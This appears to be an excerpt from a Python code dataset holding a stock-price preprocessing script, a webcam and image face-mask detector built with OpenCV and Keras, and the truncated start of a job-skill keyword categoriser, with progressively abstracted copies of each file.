Datasets:

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CohenQu

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the-stack-v2-dedup-Python

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[ "import numpy as np\nimport utils.data as dt\nimport params\nfrom sample_06 import x_returns_train\n\nnp.random.seed(123)\n''' Model management'''\nsave_model = True\n\n''' Input parameters '''\nsymbol = 'AAPL'\nlook_back = 15 #15\nlook_ahead = 1\ntrain_size = 0.8\nrandomize_data = False\n\n''' Hyper parameters '''\nepochs = 20\nvalidation_split=0.1 # part of the training set\nbatch_size = 64\nalpha = 3.0\n\n''' Loading data '''\ndf = dt.load_data(params.global_params['db_path'], symbol, index_col='date')\ndf = df[['open', 'high', 'low', 'close']]\n\n''' Preparing data - Inline data as input parameters '''\n\ndata = df.values\ntrain_rows = int(data.shape[0]*train_size)\n\ntrain_data = data[:train_rows]\ntest_data = data[train_rows:]\ntest_dates = df.index.values[train_rows+look_back:]\n\nx_close_train, y_train = dt.normalize(train_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_close_test, y_test = dt.normalize(test_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\n\nx_open_train, _ = dt.normalize(train_data[:, 0], ref_data=train_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_open_test, _ = dt.normalize(test_data[:, 0], ref_data=test_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\n\nx_high_train, _ = dt.normalize(train_data[:, 1], ref_data=train_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_high_test, _ = dt.normalize(test_data[:, 1], ref_data=test_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\n\nx_low_train, _ = dt.normalize(train_data[:, 2], ref_data=train_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_low_test, _ = dt.normalize(test_data[:, 2], ref_data=test_data[:, 3], look_back=look_back, look_ahead=look_ahead, alpha=alpha)\n\nx_returns_train = dt.stack(train_data[:, 5], look_back=look_back, look_ahead=look_ahead)\nx_returns_test = dt.stack(test_data[:, 5], look_back=look_back, look_ahead=look_ahead)\n\n''' Randomize train data '''\nif(randomize_data):\n shuffled = list(np.random.permutation(x_close_train.shape[0]))\n x_close_train = x_close_train[shuffled]\n x_open_train = x_open_train[shuffled]\n x_high_train = x_high_train[shuffled]\n y_train = y_train[shuffled]\n\n''' Reshape data for model '''\nx_close_train = np.reshape(x_close_train, (x_close_train.shape[0], x_close_train.shape[1]))\nx_close_test = np.reshape(x_close_test, (x_close_test.shape[0], x_close_test.shape[1]))\n\nx_open_train = np.reshape(x_open_train, (x_open_train.shape[0], x_open_train.shape[1]))\nx_open_test = np.reshape(x_open_test, (x_open_test.shape[0], x_open_test.shape[1]))\n\nx_high_train = np.reshape(x_high_train, (x_high_train.shape[0], x_high_train.shape[1]))\nx_high_test = np.reshape(x_high_test, (x_high_test.shape[0], x_high_test.shape[1]))\n\nx_low_train = np.reshape(x_low_train, (x_low_train.shape[0], x_low_train.shape[1]))\nx_low_test = np.reshape(x_low_test, (x_low_test.shape[0], x_low_test.shape[1]))\n\nx_returns_train = np.reshape(x_returns_train, (x_returns_train.shape[0], x_returns_train.shape[1]))\nx_returns_test = np.reshape(x_returns_test, (x_returns_test.shape[0], x_returns_test.shape[1]))\n\nx_train = np.hstack((x_open_train, x_high_train, x_low_train))\nx_test = np.hstack((x_open_test, x_high_test, x_low_test))\n\n# x_train = np.hstack((x_close_train))\n# x_test = np.hstack((x_close_test))\nx_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], 1))\nx_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], 1))\n\ny_train = np.reshape(y_train, (y_train.shape[0], 1))\ny_test = np.reshape(y_test, (y_test.shape[0], 1))\nprint('x_train.shape', x_train.shape)\nprint('x_test.shape', x_test.shape)\n", "import numpy as np\nimport utils.data as dt\nimport params\nfrom sample_06 import x_returns_train\nnp.random.seed(123)\n<docstring token>\nsave_model = True\n<docstring token>\nsymbol = 'AAPL'\nlook_back = 15\nlook_ahead = 1\ntrain_size = 0.8\nrandomize_data = False\n<docstring token>\nepochs = 20\nvalidation_split = 0.1\nbatch_size = 64\nalpha = 3.0\n<docstring token>\ndf = dt.load_data(params.global_params['db_path'], symbol, index_col='date')\ndf = df[['open', 'high', 'low', 'close']]\n<docstring token>\ndata = df.values\ntrain_rows = int(data.shape[0] * train_size)\ntrain_data = data[:train_rows]\ntest_data = data[train_rows:]\ntest_dates = df.index.values[train_rows + look_back:]\nx_close_train, y_train = dt.normalize(train_data[:, 3], look_back=look_back,\n look_ahead=look_ahead, alpha=alpha)\nx_close_test, y_test = dt.normalize(test_data[:, 3], look_back=look_back,\n look_ahead=look_ahead, alpha=alpha)\nx_open_train, _ = dt.normalize(train_data[:, 0], ref_data=train_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_open_test, _ = dt.normalize(test_data[:, 0], ref_data=test_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_high_train, _ = dt.normalize(train_data[:, 1], ref_data=train_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_high_test, _ = dt.normalize(test_data[:, 1], ref_data=test_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_low_train, _ = dt.normalize(train_data[:, 2], ref_data=train_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_low_test, _ = dt.normalize(test_data[:, 2], ref_data=test_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_returns_train = dt.stack(train_data[:, 5], look_back=look_back,\n look_ahead=look_ahead)\nx_returns_test = dt.stack(test_data[:, 5], look_back=look_back, look_ahead=\n look_ahead)\n<docstring token>\nif randomize_data:\n shuffled = list(np.random.permutation(x_close_train.shape[0]))\n x_close_train = x_close_train[shuffled]\n x_open_train = x_open_train[shuffled]\n x_high_train = x_high_train[shuffled]\n y_train = y_train[shuffled]\n<docstring token>\nx_close_train = np.reshape(x_close_train, (x_close_train.shape[0],\n x_close_train.shape[1]))\nx_close_test = np.reshape(x_close_test, (x_close_test.shape[0],\n x_close_test.shape[1]))\nx_open_train = np.reshape(x_open_train, (x_open_train.shape[0],\n x_open_train.shape[1]))\nx_open_test = np.reshape(x_open_test, (x_open_test.shape[0], x_open_test.\n shape[1]))\nx_high_train = np.reshape(x_high_train, (x_high_train.shape[0],\n x_high_train.shape[1]))\nx_high_test = np.reshape(x_high_test, (x_high_test.shape[0], x_high_test.\n shape[1]))\nx_low_train = np.reshape(x_low_train, (x_low_train.shape[0], x_low_train.\n shape[1]))\nx_low_test = np.reshape(x_low_test, (x_low_test.shape[0], x_low_test.shape[1]))\nx_returns_train = np.reshape(x_returns_train, (x_returns_train.shape[0],\n x_returns_train.shape[1]))\nx_returns_test = np.reshape(x_returns_test, (x_returns_test.shape[0],\n x_returns_test.shape[1]))\nx_train = np.hstack((x_open_train, x_high_train, x_low_train))\nx_test = np.hstack((x_open_test, x_high_test, x_low_test))\nx_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], 1))\nx_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], 1))\ny_train = np.reshape(y_train, (y_train.shape[0], 1))\ny_test = np.reshape(y_test, (y_test.shape[0], 1))\nprint('x_train.shape', x_train.shape)\nprint('x_test.shape', x_test.shape)\n", "<import token>\nnp.random.seed(123)\n<docstring token>\nsave_model = True\n<docstring token>\nsymbol = 'AAPL'\nlook_back = 15\nlook_ahead = 1\ntrain_size = 0.8\nrandomize_data = False\n<docstring token>\nepochs = 20\nvalidation_split = 0.1\nbatch_size = 64\nalpha = 3.0\n<docstring token>\ndf = dt.load_data(params.global_params['db_path'], symbol, index_col='date')\ndf = df[['open', 'high', 'low', 'close']]\n<docstring token>\ndata = df.values\ntrain_rows = int(data.shape[0] * train_size)\ntrain_data = data[:train_rows]\ntest_data = data[train_rows:]\ntest_dates = df.index.values[train_rows + look_back:]\nx_close_train, y_train = dt.normalize(train_data[:, 3], look_back=look_back,\n look_ahead=look_ahead, alpha=alpha)\nx_close_test, y_test = dt.normalize(test_data[:, 3], look_back=look_back,\n look_ahead=look_ahead, alpha=alpha)\nx_open_train, _ = dt.normalize(train_data[:, 0], ref_data=train_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_open_test, _ = dt.normalize(test_data[:, 0], ref_data=test_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_high_train, _ = dt.normalize(train_data[:, 1], ref_data=train_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_high_test, _ = dt.normalize(test_data[:, 1], ref_data=test_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_low_train, _ = dt.normalize(train_data[:, 2], ref_data=train_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_low_test, _ = dt.normalize(test_data[:, 2], ref_data=test_data[:, 3],\n look_back=look_back, look_ahead=look_ahead, alpha=alpha)\nx_returns_train = dt.stack(train_data[:, 5], look_back=look_back,\n look_ahead=look_ahead)\nx_returns_test = dt.stack(test_data[:, 5], look_back=look_back, look_ahead=\n look_ahead)\n<docstring token>\nif randomize_data:\n shuffled = list(np.random.permutation(x_close_train.shape[0]))\n x_close_train = x_close_train[shuffled]\n x_open_train = x_open_train[shuffled]\n x_high_train = x_high_train[shuffled]\n y_train = y_train[shuffled]\n<docstring token>\nx_close_train = np.reshape(x_close_train, (x_close_train.shape[0],\n x_close_train.shape[1]))\nx_close_test = np.reshape(x_close_test, (x_close_test.shape[0],\n x_close_test.shape[1]))\nx_open_train = np.reshape(x_open_train, (x_open_train.shape[0],\n x_open_train.shape[1]))\nx_open_test = np.reshape(x_open_test, (x_open_test.shape[0], x_open_test.\n shape[1]))\nx_high_train = np.reshape(x_high_train, (x_high_train.shape[0],\n x_high_train.shape[1]))\nx_high_test = np.reshape(x_high_test, (x_high_test.shape[0], x_high_test.\n shape[1]))\nx_low_train = np.reshape(x_low_train, (x_low_train.shape[0], x_low_train.\n shape[1]))\nx_low_test = np.reshape(x_low_test, (x_low_test.shape[0], x_low_test.shape[1]))\nx_returns_train = np.reshape(x_returns_train, (x_returns_train.shape[0],\n x_returns_train.shape[1]))\nx_returns_test = np.reshape(x_returns_test, (x_returns_test.shape[0],\n x_returns_test.shape[1]))\nx_train = np.hstack((x_open_train, x_high_train, x_low_train))\nx_test = np.hstack((x_open_test, x_high_test, x_low_test))\nx_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], 1))\nx_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], 1))\ny_train = np.reshape(y_train, (y_train.shape[0], 1))\ny_test = np.reshape(y_test, (y_test.shape[0], 1))\nprint('x_train.shape', x_train.shape)\nprint('x_test.shape', x_test.shape)\n", "<import token>\nnp.random.seed(123)\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\nif randomize_data:\n shuffled = list(np.random.permutation(x_close_train.shape[0]))\n x_close_train = x_close_train[shuffled]\n x_open_train = x_open_train[shuffled]\n x_high_train = x_high_train[shuffled]\n y_train = y_train[shuffled]\n<docstring token>\n<assignment token>\nprint('x_train.shape', x_train.shape)\nprint('x_test.shape', x_test.shape)\n", "<import token>\n<code token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<assignment token>\n<docstring token>\n<code token>\n<docstring token>\n<assignment token>\n<code token>\n" ]

[ "import os\nimport shutil\nimport cv2\nfrom keras.models import load_model\nimport numpy as np\nfrom keras.preprocessing.image import load_img, img_to_array\n\n# load model # Accuracy=99.3 , validation Accuracy = 99.3 # heavy model, size =226MB\nmodel = load_model('trainedmodel.h5')\n\nprint(\" Enter a option \")\nprint(\" 1. Detect Mask using image\")\nprint(\" 2. Detect Mask using live video\")\na=input(\"Press 1 / 2 : \")\nif a==2:\n # model accept below hight and width of the image\n img_width, img_hight = 224, 224\n direc=\"faces\"\n a=0o777\n # model accept below hight and width of the image\n img_width, img_hight = 200, 200\n\n # ......................................\n # Load the Cascade face Classifier\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\n\n # startt web cam\n cap = cv2.VideoCapture(0) # for webcam\n # cap = cv2.VideoCapture('videos/Mask - 34775.mp4') # for video\n\n img_count_full = 0\n\n # parameters for text\n # font\n font = cv2.FONT_HERSHEY_SIMPLEX\n # org\n org = (1, 1)\n class_lable = ' '\n # fontScale\n fontScale = 1 # 0.5\n # Blue color in BGR\n color = (255, 0, 0)\n # Line thickness of 2 px\n thickness = 2 # 1\n\n # sart reading images and prediction\n while True:\n os.mkdir(direc,a)\n img_count_full += 1\n\n # read image from webcam\n responce, color_img = cap.read()\n # color_img = cv2.imread('sandeep.jpg')\n\n # if respoce False the break the loop\n if responce == False:\n break\n\n # Convert to grayscale\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n\n # Detect the faces\n faces = face_cascade.detectMultiScale(gray_img, 1.2, 3) # 1.1, 3) for 1.mp4\n\n # take face then predict class mask or not mask then draw recrangle and text then display image\n img_count = 0\n for (x, y, w, h) in faces:\n org = (x - 10, y - 10)\n img_count += 1\n color_face = color_img[y:y + h, x:x + w] # color face\n cv2.imwrite('faces/%d%dface.jpg' % (img_count_full, img_count), color_face)\n img = load_img('faces/%d%dface.jpg' % (img_count_full, img_count), target_size=(img_width, img_hight))\n\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n # print(pred_prob[0][0].round(2))\n pred = np.argmax(pred_prob)\n\n if pred == 0:\n print(\"User with mask - predic = \", pred_prob[0][0])\n class_lable = \"Mask\"\n color = (0, 255, 0)\n\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = \"No Mask\"\n color = (0,0, 255)\n\n cv2.rectangle(color_img, (x, y), (x + w, y + h), color, 3)\n # Using cv2.putText() method\n cv2.putText(color_img, class_lable, org, font,\n fontScale, color, thickness, cv2.LINE_AA)\n\n # display image\n cv2.imshow('LIVE face mask detection', color_img)\n shutil.rmtree(direc)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n\n break\n\n\n # Release the VideoCapture object\n cap.release()\n cv2.destroyAllWindows()\nelse :\n # model accept below hight and width of the image\n img_width = 200\n img_hight = 200\n # Load the Cascade face Classifier\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\n\n # parameters for text\n # font\n font = cv2.FONT_HERSHEY_SIMPLEX\n # org\n org = (1, 1)\n class_lable = ' '\n # fontScale\n fontScale = 1 # 0.5\n # Blue color in BGR\n color = (255, 0, 0)\n # Line thickness of 2 px\n thickness = 2 # 1\n\n # read image from webcam\n color_img = cv2.imread('B612_20170324_142650.jpg')\n\n # Convert to grayscale\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n\n # Detect the faces\n faces = face_cascade.detectMultiScale(gray_img,\n scaleFactor=1.2,\n minNeighbors=5,\n flags=cv2.CASCADE_SCALE_IMAGE)\n\n # take face then predict class mask or not mask then draw recrangle and text then display image\n img_count = 0\n for (x, y, w, h) in faces:\n org = (x - 10, y - 10)\n img_count += 1\n color_face = color_img[y:y + h, x:x + w] # color face\n cv2.imwrite('imgfaces/%dface.jpg' % (img_count), color_face)\n img = load_img('imgfaces/%dface.jpg' % (img_count), target_size=(img_width, img_hight))\n\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n # print(pred_prob[0][0].round(2))\n pred = np.argmax(pred_prob)\n\n if pred == 0:\n print(\"User with mask - predic = \", pred_prob[0][0])\n class_lable = \"Mask\"\n color = (255, 0, 0)\n cv2.imwrite('faces/with_mask/%dface.jpg' % (img_count), color_face)\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n # Using cv2.putText() method\n cv2.putText(color_img, class_lable, org, font,\n fontScale, color, thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dmask.jpg' % (img_count), color_img)\n\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = \"No Mask\"\n color = (0, 255, 0)\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n # Using cv2.putText() method\n cv2.putText(color_img, class_lable, org, font,\n fontScale, color, thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dno_mask.jpg' % (img_count), color_img)\n\n # display image\n dim = (600, 600)\n resized = cv2.resize(color_img, dim, interpolation=cv2.INTER_AREA)\n cv2.imshow('LIVE face mask detection', resized)\n\n cv2.waitKey()\n\n # close all windows\n cv2.destroyAllWindows()\n\ninput('Press ENTER to exit')\n", "import os\nimport shutil\nimport cv2\nfrom keras.models import load_model\nimport numpy as np\nfrom keras.preprocessing.image import load_img, img_to_array\nmodel = load_model('trainedmodel.h5')\nprint(' Enter a option ')\nprint(' 1. Detect Mask using image')\nprint(' 2. Detect Mask using live video')\na = input('Press 1 / 2 : ')\nif a == 2:\n img_width, img_hight = 224, 224\n direc = 'faces'\n a = 511\n img_width, img_hight = 200, 200\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades +\n 'haarcascade_frontalface_default.xml')\n cap = cv2.VideoCapture(0)\n img_count_full = 0\n font = cv2.FONT_HERSHEY_SIMPLEX\n org = 1, 1\n class_lable = ' '\n fontScale = 1\n color = 255, 0, 0\n thickness = 2\n while True:\n os.mkdir(direc, a)\n img_count_full += 1\n responce, color_img = cap.read()\n if responce == False:\n break\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray_img, 1.2, 3)\n img_count = 0\n for x, y, w, h in faces:\n org = x - 10, y - 10\n img_count += 1\n color_face = color_img[y:y + h, x:x + w]\n cv2.imwrite('faces/%d%dface.jpg' % (img_count_full, img_count),\n color_face)\n img = load_img('faces/%d%dface.jpg' % (img_count_full,\n img_count), target_size=(img_width, img_hight))\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n pred = np.argmax(pred_prob)\n if pred == 0:\n print('User with mask - predic = ', pred_prob[0][0])\n class_lable = 'Mask'\n color = 0, 255, 0\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = 'No Mask'\n color = 0, 0, 255\n cv2.rectangle(color_img, (x, y), (x + w, y + h), color, 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imshow('LIVE face mask detection', color_img)\n shutil.rmtree(direc)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\nelse:\n img_width = 200\n img_hight = 200\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades +\n 'haarcascade_frontalface_default.xml')\n font = cv2.FONT_HERSHEY_SIMPLEX\n org = 1, 1\n class_lable = ' '\n fontScale = 1\n color = 255, 0, 0\n thickness = 2\n color_img = cv2.imread('B612_20170324_142650.jpg')\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.2,\n minNeighbors=5, flags=cv2.CASCADE_SCALE_IMAGE)\n img_count = 0\n for x, y, w, h in faces:\n org = x - 10, y - 10\n img_count += 1\n color_face = color_img[y:y + h, x:x + w]\n cv2.imwrite('imgfaces/%dface.jpg' % img_count, color_face)\n img = load_img('imgfaces/%dface.jpg' % img_count, target_size=(\n img_width, img_hight))\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n pred = np.argmax(pred_prob)\n if pred == 0:\n print('User with mask - predic = ', pred_prob[0][0])\n class_lable = 'Mask'\n color = 255, 0, 0\n cv2.imwrite('faces/with_mask/%dface.jpg' % img_count, color_face)\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dmask.jpg' % img_count, color_img)\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = 'No Mask'\n color = 0, 255, 0\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dno_mask.jpg' % img_count, color_img)\n dim = 600, 600\n resized = cv2.resize(color_img, dim, interpolation=cv2.INTER_AREA)\n cv2.imshow('LIVE face mask detection', resized)\n cv2.waitKey()\n cv2.destroyAllWindows()\ninput('Press ENTER to exit')\n", "<import token>\nmodel = load_model('trainedmodel.h5')\nprint(' Enter a option ')\nprint(' 1. Detect Mask using image')\nprint(' 2. Detect Mask using live video')\na = input('Press 1 / 2 : ')\nif a == 2:\n img_width, img_hight = 224, 224\n direc = 'faces'\n a = 511\n img_width, img_hight = 200, 200\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades +\n 'haarcascade_frontalface_default.xml')\n cap = cv2.VideoCapture(0)\n img_count_full = 0\n font = cv2.FONT_HERSHEY_SIMPLEX\n org = 1, 1\n class_lable = ' '\n fontScale = 1\n color = 255, 0, 0\n thickness = 2\n while True:\n os.mkdir(direc, a)\n img_count_full += 1\n responce, color_img = cap.read()\n if responce == False:\n break\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray_img, 1.2, 3)\n img_count = 0\n for x, y, w, h in faces:\n org = x - 10, y - 10\n img_count += 1\n color_face = color_img[y:y + h, x:x + w]\n cv2.imwrite('faces/%d%dface.jpg' % (img_count_full, img_count),\n color_face)\n img = load_img('faces/%d%dface.jpg' % (img_count_full,\n img_count), target_size=(img_width, img_hight))\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n pred = np.argmax(pred_prob)\n if pred == 0:\n print('User with mask - predic = ', pred_prob[0][0])\n class_lable = 'Mask'\n color = 0, 255, 0\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = 'No Mask'\n color = 0, 0, 255\n cv2.rectangle(color_img, (x, y), (x + w, y + h), color, 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imshow('LIVE face mask detection', color_img)\n shutil.rmtree(direc)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\nelse:\n img_width = 200\n img_hight = 200\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades +\n 'haarcascade_frontalface_default.xml')\n font = cv2.FONT_HERSHEY_SIMPLEX\n org = 1, 1\n class_lable = ' '\n fontScale = 1\n color = 255, 0, 0\n thickness = 2\n color_img = cv2.imread('B612_20170324_142650.jpg')\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.2,\n minNeighbors=5, flags=cv2.CASCADE_SCALE_IMAGE)\n img_count = 0\n for x, y, w, h in faces:\n org = x - 10, y - 10\n img_count += 1\n color_face = color_img[y:y + h, x:x + w]\n cv2.imwrite('imgfaces/%dface.jpg' % img_count, color_face)\n img = load_img('imgfaces/%dface.jpg' % img_count, target_size=(\n img_width, img_hight))\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n pred = np.argmax(pred_prob)\n if pred == 0:\n print('User with mask - predic = ', pred_prob[0][0])\n class_lable = 'Mask'\n color = 255, 0, 0\n cv2.imwrite('faces/with_mask/%dface.jpg' % img_count, color_face)\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dmask.jpg' % img_count, color_img)\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = 'No Mask'\n color = 0, 255, 0\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dno_mask.jpg' % img_count, color_img)\n dim = 600, 600\n resized = cv2.resize(color_img, dim, interpolation=cv2.INTER_AREA)\n cv2.imshow('LIVE face mask detection', resized)\n cv2.waitKey()\n cv2.destroyAllWindows()\ninput('Press ENTER to exit')\n", "<import token>\n<assignment token>\nprint(' Enter a option ')\nprint(' 1. Detect Mask using image')\nprint(' 2. Detect Mask using live video')\n<assignment token>\nif a == 2:\n img_width, img_hight = 224, 224\n direc = 'faces'\n a = 511\n img_width, img_hight = 200, 200\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades +\n 'haarcascade_frontalface_default.xml')\n cap = cv2.VideoCapture(0)\n img_count_full = 0\n font = cv2.FONT_HERSHEY_SIMPLEX\n org = 1, 1\n class_lable = ' '\n fontScale = 1\n color = 255, 0, 0\n thickness = 2\n while True:\n os.mkdir(direc, a)\n img_count_full += 1\n responce, color_img = cap.read()\n if responce == False:\n break\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray_img, 1.2, 3)\n img_count = 0\n for x, y, w, h in faces:\n org = x - 10, y - 10\n img_count += 1\n color_face = color_img[y:y + h, x:x + w]\n cv2.imwrite('faces/%d%dface.jpg' % (img_count_full, img_count),\n color_face)\n img = load_img('faces/%d%dface.jpg' % (img_count_full,\n img_count), target_size=(img_width, img_hight))\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n pred = np.argmax(pred_prob)\n if pred == 0:\n print('User with mask - predic = ', pred_prob[0][0])\n class_lable = 'Mask'\n color = 0, 255, 0\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = 'No Mask'\n color = 0, 0, 255\n cv2.rectangle(color_img, (x, y), (x + w, y + h), color, 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imshow('LIVE face mask detection', color_img)\n shutil.rmtree(direc)\n if cv2.waitKey(1) & 255 == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\nelse:\n img_width = 200\n img_hight = 200\n face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades +\n 'haarcascade_frontalface_default.xml')\n font = cv2.FONT_HERSHEY_SIMPLEX\n org = 1, 1\n class_lable = ' '\n fontScale = 1\n color = 255, 0, 0\n thickness = 2\n color_img = cv2.imread('B612_20170324_142650.jpg')\n gray_img = cv2.cvtColor(color_img, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.2,\n minNeighbors=5, flags=cv2.CASCADE_SCALE_IMAGE)\n img_count = 0\n for x, y, w, h in faces:\n org = x - 10, y - 10\n img_count += 1\n color_face = color_img[y:y + h, x:x + w]\n cv2.imwrite('imgfaces/%dface.jpg' % img_count, color_face)\n img = load_img('imgfaces/%dface.jpg' % img_count, target_size=(\n img_width, img_hight))\n img = img_to_array(img) / 255\n img = np.expand_dims(img, axis=0)\n pred_prob = model.predict(img)\n pred = np.argmax(pred_prob)\n if pred == 0:\n print('User with mask - predic = ', pred_prob[0][0])\n class_lable = 'Mask'\n color = 255, 0, 0\n cv2.imwrite('faces/with_mask/%dface.jpg' % img_count, color_face)\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dmask.jpg' % img_count, color_img)\n else:\n print('user not wearing mask - prob = ', pred_prob[0][1])\n class_lable = 'No Mask'\n color = 0, 255, 0\n cv2.rectangle(color_img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(color_img, class_lable, org, font, fontScale, color,\n thickness, cv2.LINE_AA)\n cv2.imwrite('faces/with_mask/%dno_mask.jpg' % img_count, color_img)\n dim = 600, 600\n resized = cv2.resize(color_img, dim, interpolation=cv2.INTER_AREA)\n cv2.imshow('LIVE face mask detection', resized)\n cv2.waitKey()\n cv2.destroyAllWindows()\ninput('Press ENTER to exit')\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "import pandas as pd\nimport dataframe\n\ndata = pd.read_csv(r'D:\\Academic\\Level 4 - Semester 1\\Research Project\\Categorized Data\\Skills\\Book11.csv', names=['category'])\n\ndf = pd.DataFrame(data)\n\na = ['software', 'developer', 'programmer', 'Programming', 'Hibernate', 'Web', 'Mobile', 'Android', 'iOS', 'Agile', 'OOP', 'JS', 'Design Patterns', 'Technical Lead', 'Tech Lead', 'Support Engineer', 'Enterprise Application Development', 'Maven', 'SDLC']\nb = ['QA', 'Tester', 'Quality', 'Automation', 'Selenium', 'Testing', 'Test']\ne = ['Business', 'Functional Analyst', ' Solution', 'System Analyst', 'Requirements Analysis']\nf = ['Networking', 'Switches', 'Cisco Packet Tracer', 'Wireless', 'Network', 'TCP', 'LAN-WAN']\ni = ['Manager', 'owner', 'Management', 'Director', 'Strategy']\nj = ['PHD', 'MSC', 'postgraduate', 'Research']\nl = ['Lecturer', 'tutor', 'Instructor', 'Demonstrator']\nm = ['Database', 'MySQL', 'Oracle', 'SQL', 'Apache', ' MongoDB ']\nn = ['Data Science', 